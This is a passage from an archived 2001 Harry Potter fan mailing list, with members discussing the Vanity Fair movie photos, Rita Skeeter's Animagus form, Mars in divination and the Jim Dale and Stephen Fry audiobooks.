or not JKR goes there, I think I'm doomed to go there forever anyway.

later,
m.




From mediaphen at hotmail.com  Wed Sep  5 08:34:40 2001
From: mediaphen at hotmail.com (Martin Smith)
Date: Wed, 05 Sep 2001 08:34:40 -0000
Subject: Why Rita must be a beetle
Message-ID: <9n4o30+8g18@eGroups.com>

No: HPFGUIDX 25692

Here comes a silly explanation why R Skeeter should be a beetle and 
not a mosquito:
It's really silly, I mean silly-walks-as-displayed-on-film-in-the-
ministry-of-silly-walks-silly:

OK, here goes.
Skeeters' first name is Rita. The most well-known Rita (except maybe 
for Catlady ;-) ) must be the lovely meter maid, as in the 
song "Lovely Rita" by:

(insert dramatic music, such as Mahler's Valcyria tune)

The Beatles!

I rest my case.

Martin (looking forward to next season's Simpsons Halloween special 
and their take on our favourite wizarding students)






From smurfs143143 at aol.com  Fri Sep  7 01:18:02 2001
From: smurfs143143 at aol.com (smurfs143143 at aol.com)
Date: Fri, 07 Sep 2001 01:18:02 -0000
Subject: What is the single best scene in the HP series?
In-Reply-To: <9n8ncf+q2eb@eGroups.com>
Message-ID: <9n978a+ijqm@eGroups.com>

No: HPFGUIDX 25693

--- In HPforGrownups at y..., scaryfairymary at h... wrote:
I was wondering which single scene out of the Harry Potter series 
> > you 
> > > think is the best?  


  ~  I think the best scene was when Harry was in the Chamber of 
Secrets with Tom Riddle.  Even though I knew he wouldn't, I could 
have sworn Harry was gonna die in that scene...more so that when he 
meets Voldemort in 4.

 - Elizabeth




From hfakhro at nyc.rr.com  Fri Sep  7 01:50:01 2001
From: hfakhro at nyc.rr.com (hfakhro at nyc.rr.com)
Date: Fri, 07 Sep 2001 01:50:01 -0000
Subject: Mars
Message-ID: <9n9949+4pr9@eGroups.com>

No: HPFGUIDX 25694

In GoF chapter 29, The Dream:

'My dears,' said Professor Trelawney, sitting down in her winged 
armchair in front of the class and peering round at them all with her 
strangely enlarged eyes, 'we have almost finished our work on 
planetary divination. Today, however, will be an excellent 
opportunity to examine the effects of Mars, for he is placed most 
interestingly at the present time. If you will all look this way, I 
will dim the lights...'

She waved her wand and the lamps went out. The fire was the only 
source of light now. Professor Trelawney bent down, and lifted, from 
under her chair, a miniature model of the solar system, contained 
within a glass dome. It was a beautiful thing; each of the moons 
glimmered in place around the nine planets and the fiery sun, all of 
them hanging in thin air beneath the glass. Harry watched lazily as 
Professor Trelawney began to point out the fascinating angle Mars was 
making with Neptune.

I have never noticed this passage before, what is the connection 
between Mars and Voldemort? The famous HP Mars connection is made 
with the centaurs in PS, where each of them say "Mars is bright 
tonight" to Hagrid. So there is certainly something coming up with 
planetary divination - does that even exist in the muggle world? I 
know nothing about astrology or astronomy, so please excuse my 
ignorance. Certainly, we the readers are meant to respect the 
centaurs, if not Professor Trelawney, though we are left in doubt as 
to whether she is a complete fraud.

And why on earth does Trelawney refer to Mars as a 'he'? What does 
Neptune have to do with anything? Trelawney's eyes are 'strangely 
enlarged' - what does this mean? I think she knows something's up, 
and that's why she's so interested in Harry's scar hurting. She 
said, 'What was it, Potter? A premonition? An apparition? What did 
you see?...Come now, Potter, I have experience in these matters!' In 
this passage, I think we're meant to believe that she is being 
typically excited about Harry's miseries, but perhaps this is a 
misdirection, perhaps she really does have 'experience' in these 
matters.

The language in this passage is quite vivid, I can't help thinking 
this is going to show up in the next books. And the Mars thing, does 
it connect to Voldemort precisely, or more likely, to the shedding of 
innocent blood - in PS, it's the unicorn, in GoF, it's Cedric. I was 
always confused by the centaurs in PS, and now it is much clearer to 
me. Does Mars represent good or evil? What about Neptune - the only 
other reference to Neptune that I can remember is Ron's "a midget in 
glasses is being born" which I took to be a pure joke with no hidden 
meaning... What do people think?

--Hella (who is thrilled with the new Vanity Fair; the pictures are 
beautiful and the article is quite well-researched!)




From john at walton.to  Fri Sep  7 01:51:30 2001
From: john at walton.to (John Walton)
Date: Thu, 06 Sep 2001 21:51:30 -0400
Subject: MOVIE: Vanity Fair October Issue (long)
Message-ID: <B7BDA061.11D9%john@walton.to>

No: HPFGUIDX 25695

Hi all,

I picked up the October issue of Vanity Fair this evening, and may I say
"WOW!" -- the photographs are fantastic! I've loved Annie Leibovitz ever
since her "Whoopi Goldberg In Tub Of Milk" photo, and I love her more now.

A Picture-By-Picture breakdown (for discussion and for the benefit of those
who haven't seen them. (What are you waiting for? It's a measly $3.95 (US)
or $4.95 (Can. & Foreign)!)

FRONT COVER: CHEESY-GRIN HARRY ON BROOMSTICK

As some of the folks over on OT-Chatter have been saying, CheesyGrin!Harry
is just that. Very cheesy grin Harry in Hogwarts uniform (and thus, we
assume, a still taken during the shooting of the Remembrall scene we saw in
the second trailer). NB that we know it's not Quidditch garb because of the
Quidditch team photo.

The uniform is, while nothing like my mental images of robes, not bad. It
consists of a diagonally-striped red and gold tie, at a jaunty angle, with
white shirt, grey long-sleeve v-neck jumper with narrow red and gold band
around the necklne. White shirt and charcoal grey pinstriped trousers. A
cape somewhat reminiscent of the St Andrews Graduate gowns and regular
schoolboy shoes. 

Dan as Harry is great. It's a cheesy grin, yes, but it's a *nice* cheesy
grin. I'm still not convinced about the scar not being centered on his
forehead, but there we are :D His hair is suitably messy in this picture,
I'm happy to say!

PAGE 301: THE CUPBOARD UNDER THE STAIRS

Wow, just wow. This is a really emotive picture. It basically shows the
depths of Harry's existence Before Wizardry (B.W. :D) Dan's sitting on what
looks like a campbed in a tiny, tiny closet under the stairs. My auntie has
one in her house and, let me say, it's horrid. He has no possessions, there
are tools and things under the bed, he's wearing unmatching socks, one with
no toe end, a holey t-shirt and what look like pajama bottoms. The campbed
looks totally uninviting...

Dan's pulling off the look well. Looks absolutely pathetic, which is the
point. 

PAGE 302-303: THE DURSLEYS IN THE SITTING ROOM

Totally at odds to the cupboard are the Dursleys. The room is, while not
opulent, well-appointed in that suburban Britain kind of way, with ghastly
brown-gold floral patterend sofas, lamps with tassels and that sort of
thing. 

Petunia (Fiona Shaw) looks entirely too nice and not nearly skinny enough.
She's wearing a very Mumsy pink cardigan and a tweed skirt which ends above
the knee. Pearls around the neck and a dark brown Margaret Thatcher hairdo
complete the look. She's entirely too nice, and doesn't seem like the type
of person who'd lock her nephew under the stairs. Of course, that might be
part of the plan (nobody THINKS they'll do it, so they do...). Perhaps they
could make her tartier? Perhaps a bad blonde dye, or a slightly menacing
sneer.

Vernon (Richard Griffiths) doesn't look nasty enough. He's got that
public-school-headmaster (i.e. private school) look about him, in a dark
brown (or possibly black) three-piece suit. His hair isn't dark enough
either, and his moustache is too small (for my picture, of course...).

Dudley (Harry Melling) isn't fat enough and doesn't look like he's whining
in his Smeltings uniform, which isn't as ridiculously garish as I was
envisaging. I do, however, love the picture of younger!Dudley in the
background.

PAGE 304-305: THE THREESOME AND THE THREE SLYTHERINS

I like Crabbe and Draco (although Tom Felton isn't sneering enough!). Goyle
looks too intellignet, as if he's scheming something. The Slytherin colours
have apparently turned from green and silver to black and silver/grey, which
is slightly irritating. Only differences between Slytherin and Gryffindor
uniforms are the crests, ties and scarves.

Emma is looking great as Hermione, although her hair could be bushier. Dan
is looking absurdly happy and makes one wonder if he was airbrushed in, as
he looks as if he's having his picture...taken...for...a...magazine. Ahem...
Rupert Grint looks as if he's making fart noises with his mouth, but could
just be dumb!Ron look. (No change there then...) I like Rupert as Ron, he
looks just as dumb as my mental Ron, but without the freckles! Grrr!

PAGE 306-307: HAGRID AND FANG IN THE FOREST

Ooh, forest looking v. menacing. Hagrid looking v. large. Fang looking
v.small compared with Hagrid. Don't know if this is "enlarged" Robbie
Coltrane, so if it is, Fang is large too :D Hagrid appears to be wearing a
dead animal. PETA, beware.

PAGE 308-309: FLITWICK, QUIRRELL AND HOOCH IN ROOM

I love this picture. The three professors are in what appears to be the
Library, yet has a pteranodon hanging from the room. Is perhaps a flying
classroom? There appear to be spells written in (?) Latin on a blackboard
behind Quirrell, going by "Articulus I", "Articulus II" all the way to IV.

Flitwick is certainly small. Looks a little old compared with my mental
pics...doesn't look like he'd be the fussy Charms teacher I picture.

Quirrell looks shifty but not nerdy enough for me. Like his turban, though
I'd have thought it would have needed to go down further in the back.

Hooch is a riot. She's standing in what I assume to be a Quidditch referee
uniform -- the boots, greaves, gauntlets (see Quidditch team photo below)
but a black-and-white striped cape, black leggings, white shirt, black tie
with Hogwarts crest and black vest/waistcoat with white trim. Also wearing
funny goggles which make her look silly. She's striking a pose which makes
her look like X-Woman Storm. ::grin::

PAGE 310-311: DUMBLEDORE AND MCGONAGALL

Richard Harris looks like a tired old man :( Could, however, be pensive
look. I like his costume (vaguely purple) and hat (not pointy but floppy).

Maggie Smith is great as McGonagall. Just perfect. I like the staircase
they're standing on -- looks suitably Gothic. All the pictures around them
look batty too :D

PAGE 314-315: SNAPE IN DUNGEON

Oooh, Rickers. Alan Rickman is looking more like Metatron from Dogma than
any other role I've seen him in. A perfect Snape!

Interesting mad-scientist potion bottles next to him. Also interesting is
the blackboard with what looks like astronomical markings (though not really
Zodiacal) on it. Perhaps this has something to do with potions'
effectiveness?

Also, and something I remember from the trailer, there's too much light
coming through those windows! It's a DUNGEON. In SCOTLAND. In SEPTEMBER.
It's not that sunny! The sun is really never that strong, so it's either
artificial lighting in Hogwarts (which we've never heard about) or a
production SNAFU.

PAGE 316-317: THE FOUR HOUSE GHOSTS

Perhaps my least favourite of the pictures. The Bloody Baron looks jolly
rather than menacing Slytherin type. The Fat Friar looks like a woman about
to launch into a Valkyrian aria. Nearly Headless Nick looks silly in that
his head comes off at a curved angle, as if an image was simply
cut-and-pasted. Blurgh...we want vertebrae! The Grey Lady looks okay, but
not really grey enough...she should be older. Love the setting
though...looks like one of the side naves of Durham Cathedral to me.

PAGE 318-319: THE GRYFFINDOR QUIDDITCH TEAM

This is definitely my favourite picture. Alicia, Wood, Katie, Angelina,
George, Harry and Fred are all in the Gryffindor common room.

The Quidditch uniform consists of wooly jumpers, horizontally striped in a
style reminiscent of rugby shirts (stripes about a fist-width thick), and
with a Gryffindor emblem over the heart. The trousers are tan corduroys,
with funny greaves (shin pads) and gauntlets (wrist pads), and they're
wearing things that look like rugby boots without the spikes. The
capes/robes are red outside and gold inside. In all, it looks like a cross
between polo and rugby :D

Alicia looks good (hadn't pictured her as black/Indian-Pakistani Asian),
with a friendly-but-not-overtly so look. Wood looks great -- slightly stoned
perhaps, but great. Perhaps a little thinner than I was picturing, but
great. Katie looks very sarcastic, in that Gryffindor sort of way. Angelina
looks like a really *nice* person. Dan looks very small and lost, and I
think he must have his eyebrows raised under that mop of hair (don't they
have hairdressers in the wizarding world?!). Fred and George don't look
anything like I pictured them. Limp hair, taller than I was thinking, and
with totally different face structure. All in all, though, a fantastic
casting group.

The Gryffindor common room has ghastly tapestries on the walls. How
depressing! Lots of dark wood and uncomfortable-looking chairs. Oh, how
attractive the Slytherin dungeon's looking right now...

PAGE 320-321: RON ON A CHESS PIECE (KNIGHT)

I like this! Rupert looks very small and dirty (good!) and is holding onto a
static-looking black knight. There's fire all around and other pieces
(bishop, knight) are standing around looking very still. Of course, the
movement will probably be edited in, so this picture loooks very
post-apocalyptic with the fires in the background.

____________________________________

All in all, I'm thrilled and think I got my $4's worth -- far better deal
than the poster book which I looked at!

Anyone got comments?

-John

__s_c_h_n_o_o_g_l_e_._c_o_m___________

John Walton -- Crazy Ivan
ivan at schnoogle.com

www.schnoogle.com/authors/crazyivan

=| Schnoogle.com, part of the FictionAlley.org community |=
* high-quality novel-length fanfiction from some of your favorite authors
* run *by* Harry Potter fans *for* Harry Potter fans
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From meboriqua at aol.com  Fri Sep  7 02:06:06 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Fri, 07 Sep 2001 02:06:06 -0000
Subject: The howl of misery
In-Reply-To: <9n8rt9+68p2@eGroups.com>
Message-ID: <9n9a2e+pfc6@eGroups.com>

No: HPFGUIDX 25696

--- In HPforGrownups at y..., scaryfairymary at h... wrote:

 I really think that this "howl of misery" really 
> should have been expressed.  Harry never really deals with the 
trauma  of the nights events, and so can never really recover.  Even 
when he  smiles "the first real smile in days" in Hagrid's cabin, I 
never  really feel like the matter is dealt with.  The reader knows 
that  Harry is still totally miserable inside, and without some help 
from a  maternal figure (Molly Weasley) he is never truley going to be 
> happy.  I cant see him getting any support from Petunia Dursley, so 
> hopefully he will be let go to the Weasleys and have some "quality 
> time".>

Yes - I imagine the first chapter of OoP at the Dursleys' to be one 
filled with nightmares for Harry, especially because his misery is 
still in him.  When I re-read that scene, I always think that Harry is 
amazingly strong for holding himself together that way, but I also 
feel for him (and would love to be the one hugging him).  Harry can 
also be strong by letting it all out in front of his friends, and I, 
too would not like to see him denied this.  

<-Mary (who really thinks she's taking this too seriously for a  
fictional story, but cant help herself!)>

We all do here; that's why we read the books several dozen times and 
furiously debate over things like House colors and where the Whomping 
Willow is.  :-)

--jenny from ravenclaw, who was suddenly reminded of Free to Be You 
and Me's "It's All Right to Cry" as she read Mary's comments 
****************************************************




From potterlovingash at hotmail.com  Fri Sep  7 02:33:24 2001
From: potterlovingash at hotmail.com (Ashley Kelly)
Date: Fri, 07 Sep 2001 02:33:24 -0000
Subject: MOVIE: Vanity Fair October Issue (long)
In-Reply-To: <B7BDA061.11D9%john@walton.to>
Message-ID: <9n9blk+l9at@eGroups.com>

No: HPFGUIDX 25697

I also picked up Vanity Fair today. In fact, I got two so that I 
could dismantle them both and post the pictures all over my dorm 
room, I enjoy them so much. Let me now stick my two cents in to 
John's previous analysis:

> FRONT COVER: CHEESY-GRIN HARRY ON BROOMSTICK
> 
> As some of the folks over on OT-Chatter have been saying, 
CheesyGrin!Harry
     
     Of all the pictures to use for the cover of this issue, why did 
they have to pick one that looks so strange. Perhaps it's the fact 
that Harry looks as if he is moving fact because his clothing is all 
thrown to the side, but the broom looks so stagnant. 

> 
> PAGE 301: THE CUPBOARD UNDER THE STAIRS
> 
> Wow, just wow. 
      I totally agree with John. The depiction of the Cupboard Under 
the Stairs is perfect! Every detail is put into the room, from the 
dustbin on the door to the disgusting cot/bed. Poor Harry. Bravo Dan 
for pulling off the perfect look!
 
> PAGE 302-303: THE DURSLEYS IN THE SITTING ROOM
> Petunia (Fiona Shaw) looks entirely too nice and not nearly skinny 
enough.
      I think the Petunia image is done rather well. She has the look 
of a person that would call her son Duddikins.
 
 Dudley (Harry Melling) isn't fat enough and doesn't look like he's 
whining
> in his Smeltings uniform, which isn't as ridiculously garish as I 
was
> envisaging. 
         Where is the Smeltings stick too? I searched and searched 
the photo in to hope of a sighting. But agreed, he is not fat enough, 
nor does he resemble a pig as much as he should.
  
> PAGE 304-305: THE THREESOME AND THE THREE SLYTHERINS
 I cannot stand the bright yellow hair that Draco is sporting. It 
takes the menace out of him.
> Emma is looking great as Hermione, although her hair could be 
bushier.
     I am in love with Emma Watson. I cannot wait to see her bring 
Hermione to life on screen.
 
(> PAGE 306-307: HAGRID AND FANG IN THE FOREST
> 
> Ooh, forest looking v. menacing. Hagrid looking v. large. Fang 
looking
> v.small compared with Hagrid. 
      I always pictured Fang as more massive. He certainly doesn't 
look very frightening. 
> PAGE 310-311: DUMBLEDORE AND MCGONAGALL
> 
> Richard Harris looks like a tired old man :( Could, however, be 
pensive
> look. I like his costume (vaguely purple) and hat (not pointy but 
floppy).
       Harris doesn't look in the mood to crack jokes about rooms 
with chamberpots. I certainly hope he can bring the twinkle-eyed 
Dumbledore to life, along with the powerful dark defender side. 
> 
> PAGE 316-317: THE FOUR HOUSE GHOSTS
> 
> Perhaps my least favourite of the pictures. The Bloody Baron looks 
jolly
> rather than menacing Slytherin type. The Fat Friar looks like a 
woman about
> to launch into a Valkyrian aria. Nearly Headless Nick looks silly 
in that
> his head comes off at a curved angle, as if an image was simply
> cut-and-pasted. Blurgh...we want vertebrae! 
        I agree on all points John. First time I saw this picture, I 
thought "Who is that fat lady in the moo moo" then I realized it's 
the Friar. And the Bloody Baron doesn't look scary at all. And isn't 
the blood supposed to be silvery, not red? 

> PAGE 318-319: THE GRYFFINDOR QUIDDITCH TEAM
> 
       I like that the tapestries are from the Medieval tales of 
unicorns. I've seen similar ones here in NYC at the Cloisters. Fred 
and George don't look very fun to me. Maybe it's because they have 
their intimidating Quidditch beater looks on. We'll see. Wood is hot. 
I would be after Wood if I were those Chaser girls :)


I am very impressed. However, I am disappointed that we didn't get a 
shot of Neville and Dean and Seamus. I think a Gryffindor boys dorm 
shot would have been appropriate. Oh, and Lavendar and Parvati would 
have been nice as well. 

Enough from me this eve. Wishing everyone well.

~Ashley K. (aka potterlovingash) ~




From margdean at erols.com  Fri Sep  7 02:23:58 2001
From: margdean at erols.com (Margaret Dean)
Date: Thu, 06 Sep 2001 22:23:58 -0400
Subject: [HPforGrownups] Mars
References: <9n9949+4pr9@eGroups.com>
Message-ID: <3B982FBE.5C20FA2A@erols.com>

No: HPFGUIDX 25698

hfakhro at nyc.rr.com wrote:

> And why on earth does Trelawney refer to Mars as a 'he'? 

<snip>

> And the Mars thing, does
> it connect to Voldemort precisely, or more likely, to the shedding of
> innocent blood - in PS, it's the unicorn, in GoF, it's Cedric. I was
> always confused by the centaurs in PS, and now it is much clearer to
> me. Does Mars represent good or evil? 

Mars the planet was named after Mars the Roman god of war, who
was most definitely a "he," so that's probably what Professor
Trelawney is alluding to.  My guess is that the appearance
(and/or brightness)  of the planet Mars indicates strife -- which
is, after all, overwhelmingly likely under the circumstances.  We
=know= there's a war coming up!


--Margaret Dean
  <margdean at erols.com>



From wallaceelizabeth at msn.com  Fri Sep  7 03:07:19 2001
From: wallaceelizabeth at msn.com (wallaceelizabeth at msn.com)
Date: Fri, 07 Sep 2001 03:07:19 -0000
Subject: AUDIO Books (in English)- comparative review
Message-ID: <9n9dl7+82d5@eGroups.com>

No: HPFGUIDX 25699

>Original From:  "Monika Huebner" <monika at d...>
>Date:  Thu Sep 6, 2001  12:05 pm
>Subject:  RE: [HPforGrownups] Single best scene - Snape - Sirius - 
> The next best scene for me is Harry and Voldemort dueling on the
>graveyard, this one always makes my hair stand up. It's even more
>intense if I listen to it when read by Stephen Fry."

I haven't read any notices about the audio books, and had to comment 
on the above.  My busy schedule prevents me from re-reading the 
books, so my 11 year old son and I have listened to the whole series 
this summer, numerous times (makes washing dishes, and glazing 
windows go by fast!).  Residing in the US, we listened to Jim Dale's 
rendition (he's British) which was BRILLIANT!!  I learned in July 
that Stephen Fry read the UK audio books, and since we both love him 
in various roles-- I sent my son on a mission to purchase the SF 
version of GOF when in the UK visting his British relatives in 
August. Perhaps we are biased by first having heard Jim Dale, but we 
both were greatly disappointed with the SF rendition in comparison.  
We didn't like the voices used for a number of characters, or the 
lack of inflection in a number of parts, the JD rendition of which is 
so dear to us, we regularly immitate.  Also, the UK prices were 
typically astronomical.  If you're interested in listening to the 
audio books, which add a very enjoyable dimension to the HP 
experience (and I keep hearing things I hadn't remembered 
previously), I highly recommend the Jim Dale version available in the 
U.S (@ Sam's Club about $25).









From diagonalley_ at hotmail.com  Fri Sep  7 03:12:38 2001
From: diagonalley_ at hotmail.com (Ali Wildgoose)
Date: Thu, 06 Sep 2001 23:12:38 -0400
Subject: [HPforGrownups] MOVIE: Running Time (was Re: Running time of movie final cut
Message-ID: <F74bzZ1QOtqmLmkH4WO00008114@hotmail.com>

No: HPFGUIDX 25700


>I really think if there's something they cut, it was Norbert.

Well, I wouldn't be too sure about that...

Though I know many of you are weary of the incessant HP merchandising, in 
this case it comes in handy.  WB has licensed MANY products concerning 
Norbert - stuffed animals, hats, playsets, etc.  Why would they bother to 
market something that wasn't going to be featured in the actual film?

That, and Columbus seems intent on keeping all the important plot 
elements...and even the not-so-important-but-definately-memorable ones.  
Norbert is hardly a minor character.  I honestly can't see him being dropped 
from the script.

Ali

http://home.nyu.edu/~amw243 :: Diagon Alley
Harry Potter for Slightly Older Folk


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From mellienel2 at yahoo.com  Fri Sep  7 03:15:42 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Fri, 07 Sep 2001 03:15:42 -0000
Subject: MOVIE: Running Time (was Re: Running time of movie final cut
In-Reply-To: <F74bzZ1QOtqmLmkH4WO00008114@hotmail.com>
Message-ID: <9n9e4u+biqu@eGroups.com>

No: HPFGUIDX 25701


> 
> Though I know many of you are weary of the incessant HP 
merchandising, in 
> this case it comes in handy.  WB has licensed MANY products 
concerning 
> Norbert - stuffed animals, hats, playsets, etc.  Why would they 
bother to 
> market something that wasn't going to be featured in the actual 
film?

really good point. So what can it be? he said 95 % of the IMPORTANT 
moments were kept, which means something is not...






From mellienel2 at yahoo.com  Fri Sep  7 03:21:24 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Fri, 07 Sep 2001 03:21:24 -0000
Subject: MOVIE: Vanity Fair October Issue (long)
In-Reply-To: <B7BDA061.11D9%john@walton.to>
Message-ID: <9n9efk+ft03@eGroups.com>

No: HPFGUIDX 25702


> 
> Dan as Harry is great. It's a cheesy grin, yes, but it's a *nice* 
cheesy
> grin. I'm still not convinced about the scar not being centered on 
his
> forehead, but there we are :D His hair is suitably messy in this 
picture,
> I'm happy to say!

You know what I"m not convinced on? maybe we have a dermatologist who 
can clear this up...but if the scar stretched fromt he top of the 
forhead to the bottom when he was little, would it grow as he got 
older? Wuoldn't there be unblemished skin on top and bottom? Does 
scar tissue actually stretch?

I guess it will be att'd to magic.





From mellienel2 at yahoo.com  Fri Sep  7 03:22:47 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Fri, 07 Sep 2001 03:22:47 -0000
Subject: Mars
In-Reply-To: <9n9949+4pr9@eGroups.com>
Message-ID: <9n9ei7+fhfv@eGroups.com>

No: HPFGUIDX 25703


> always confused by the centaurs in PS, and now it is much clearer 
to 
> me. Does Mars represent good or evil? What about Neptune - the only 
> other reference to Neptune that I can remember is Ron's "a midget 
in 
> glasses is being born" which I took to be a pure joke with no 
hidden 
> meaning... What do people think?

Doens't  Harry also say, when they're doing their charts for their 
month of birth, that he has two Neptunes? I thought it was a joke 
too..but if JKR is including astrological things about mars, maybe it 
means something -- not something we can really find out, but 
something that has to do with Harry's uniqueness. Eh, who knows.






From captain_debrowe at yahoo.com  Fri Sep  7 04:20:30 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Thu, 6 Sep 2001 21:20:30 -0700 (PDT)
Subject: [HPforGrownups] Re: MOVIE: Vanity Fair October Issue (long)
In-Reply-To: <9n9efk+ft03@eGroups.com>
Message-ID: <20010907042030.95821.qmail@web14404.mail.yahoo.com>

No: HPFGUIDX 25704


--- mellienel2 at yahoo.com wrote:
> 
> You know what I"m not convinced on? maybe we have a
> dermatologist who 
> can clear this up...but if the scar stretched fromt
> he top of the 
> forhead to the bottom when he was little, would it
> grow as he got 
> older? Wuoldn't there be unblemished skin on top and
> bottom? Does 
> scar tissue actually stretch?
> 
> I guess it will be att'd to magic.
> 
> 
> 


Actually I have a scar on my ankle that was made
before I attained my full growth.  Now that I have
though I can say from experience that scar tissue does
indeed stretch.  The scar looks larger now than it did
originally.

Danette

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From katzefan at yahoo.com  Fri Sep  7 08:18:14 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Fri, 07 Sep 2001 08:18:14 -0000
Subject: How often read - Rita Skeeter - Wizard kids
Message-ID: <9n9vs6+cdkt@eGroups.com>

No: HPFGUIDX 25705

--- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> 
wrote:

>  How many times HAS everyone read the books?  I've read 
>them all twice AND listened to all of them on tape at least once 
>(some twice).  I just got into the series in February, so i didn't 
>have to wait to move onto each as I finished them!  How many 
>times will I read them until #5 comes out-which is WHEN 
>exactly?  Anyone have suggestions for other reads besides 
>Narnia and Tolkien? ... I know that when I get my hands on #5 
>I'm going to try to pace myself.  1 chapter per day?  But, that 
>might only get me through a month!?  Yeah, right.  I'll blow 
>through it in a couple of fastfood filled days and be crying into 
>my pillow. :o(   
> Kitty  
> > 

I've lost track of how many times I've read them, because
I've re-read some more than others  - and I expect I'll be re-
reading them several times again until Book #5 comes out (and 
like Kitty, will zip through it in no time flat and go through the 
whole procedure again waiting for Book 6). To take up some of 
the slack, I've started reading the Lemony Snicket books. 
There's nothing particularly magical in them, but they definitely 
are *not* your basic everyday situations, and they have their own 
bizarre humour.  (Wait, maybe there is something - if not magical 
- inhuman in them: the characters of Count Olaf and his 
`associates', introduced to us in the first book. His house
is full of eyes - painted on walls and carved into doors - and he 
also has eyes tattooed on both ankles, which the children notice 
because he never wears socks.) 


>From:??blpurdom at y... [Re: Rita Skeeter] 

>Actually, I noticed that the first time she was introduced, and 
>then when things started popping up in the news that shouldn't 
>be, and Malfoy was obviously talking to something in his hand, I 
>thought it had to be Rita Skeeter in Animagus form.  BUT--I 
>expected her to then be a mosquito, not a beetle!  (I based this 
>on what JKR did with Lupin's name and Sirius' name).  Since 
>JKR isn't American, either, perhaps she thought this was a 
>generic American slang term for "bug."  So I still didn't take 
>notice of the beetle on the statue when Ron and Harry 
>overheard Hagrid talking to Madam Maxim, nor the 
>beetle Hermione said Viktor removed from her hair, because 
>the name led me to believe she should be a "skeeter!"

>--Barb

Maybe JKR made Rita a beetle because a `Skeeter' is a little 
more difficult to catch in your bare hands. The usual solution 
when you have one of these buzzing, whining, bloodsucking 
critters within arm's reach is to just splat it against the
nearest hard surface ....


>From:??caliburncy at y...
>--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> My thought is that there may be various media for "seeing", but 
>there also ought to be an innate talent for it.  I would think that
>if  a wizard has that talent, it might show itself in spurts before 
>the wizard has formal training.

>Hmm.  I was going to say that the spurts of innate talent should 
>also show up only within those "mediums", shouldn't they?--but 
>then I thought about Hagrid's comment in PS/SS about whether 
>Harry had ever made anything happen he couldn't explain, as 
>though this is normal for wizard children.
>The pre-trained wizard children seem to make things happen 
>without any  "medium" (unless you count emotions) and it's 
>largely unfocused and partly subconcious.  The trained wizards 
>always seem to have some kind of medium to focus their 
>magic, though, like wands or incantations.

Something in these discussions kept nagging at me and finally it 
dawned - the little girl in Stephen King's `Firestarter'
(can't remember her name) who, as an infant and toddler, sets 
fire to things by accident when she's upset or angry. She later 
learns to channel her ability - partly in self-defence - which not 
only improves her aim but also greatly strengthens her basic 
ability to `flame' things.
Perhaps wizard children are the same: they have relatively small 
but uncontrolled powers when they are little, and between 
parents and school they learn to direct and control their powers.
And  Wizard parents would know how to cope with an infant 
doing 'odd' things, but Muggle parents would be baffled and 
probably more than slightly alarmed. If I had a small child who 
could make his/her bottle float in midair, or fetch a toy from the 
next room while lying in his/her crib, and then I got a letter from 
Hogwarts, I don't think I'd have quite as much trouble
believing it as I would if the child had done nothing out of the 
ordinary.








From monika at darwin.inka.de  Fri Sep  7 08:19:16 2001
From: monika at darwin.inka.de (Monika Huebner)
Date: Fri, 7 Sep 2001 10:19:16 +0200
Subject: [HPforGrownups] AUDIO Books (in English)- comparative review
In-Reply-To: <9n9dl7+82d5@eGroups.com>
Message-ID: <MABBIOAJAKBIIEFEFANKGEPJCJAA.monika@darwin.inka.de>

No: HPFGUIDX 25706

> -----Original Message-----
> From: wallaceelizabeth at msn.com [mailto:wallaceelizabeth at msn.com]

> Perhaps we are biased by first having heard Jim Dale, but we 
> both were greatly disappointed with the SF rendition in comparison.  
> We didn't like the voices used for a number of characters, or the 
> lack of inflection in a number of parts, the JD rendition of which is 
> so dear to us, we regularly immitate.  Also, the UK prices were 
> typically astronomical. 

Well, I think it's a matter of taste like everything else in life. I love
Stephen Fry's voice, and as a friend of mine once put it, he could
read the telephone book to me and I would still be listening. ;) 
I only listened to the samples of the Jim Dale readings on the
web, that is about 10 minutes per book, and I admit that I
wasn't impressed at all. I know ten minutes isn't much, but
it generally gives me an impression of the reader's voice. I know
that a lot of people prefer the Jim Dale readings because he
makes it more of a radio show than Stephen Fry. I think that is
just what I dislike. I considered buying the Jim Dale version of
GoF for awhile because it is much cheaper, but then I listened
to the sample at Random House, and it had the Sorting Hat's song
in it. Dale actually sings it, and this is exactly what put me off.
A lot of people may like it, I hated it. I dislike the German audio
books for very much the same reasons, because the reader does
"too much" in my opinion. But as I said, it's a matter of personal
taste. I think i.e. Fry's Snape and his Voldemort are just great, and
I am even getting used to the way he does Sirius. ;) He definitely
does different voices for the characters, but maybe a bit less
pronounced than Dale, what is just what I like about his performance.

Just my two knuts.

Monika

------
Book and movie reviews in English and German:
http://sites.inka.de/darwin/indexalt.html 




From frances at forever.u-net.com  Fri Sep  7 08:50:02 2001
From: frances at forever.u-net.com (frances at forever.u-net.com)
Date: Fri, 07 Sep 2001 08:50:02 -0000
Subject: AUDIO Books (in English)- comparative review
In-Reply-To: <9n9dl7+82d5@eGroups.com>
Message-ID: <9na1nq+bns0@eGroups.com>

No: HPFGUIDX 25707

I haven't heard the Jim Dale version of the books so can only comment 
on the Steven Fry versions.

My first introduction to Harry Potter was listening to Steven read 
Philosophers's Stone on the radio last Christmas and I was hooked by 
the whole thing. It was like being read to as a child and I sat through 
8 hours and 25 minutes of the most magical time. I like the fact he 
doesn't put on loads of voices, but somehow the inflection in his voice 
is enough to let you know who is speaking. I've now listened to GoF and 
am relistening to PS as I write this message and am surprised at how 
Steven has managed to 'age' his voices for the fact the children have 
aged four years over the course of the four books.

Unfortunately, the audio books over here aren't that cheap. Maybe I 
will try out Jim Dale for Chamber of Secrets when I buy it.

Frances





From dfrankiswork at netscape.net  Fri Sep  7 10:52:16 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 07 Sep 2001 06:52:16 -0400
Subject: The Forbidden Forest - summary
Message-ID: <6413D81E.1E0D62B0.6E93A4F5@netscape.net>

No: HPFGUIDX 25708
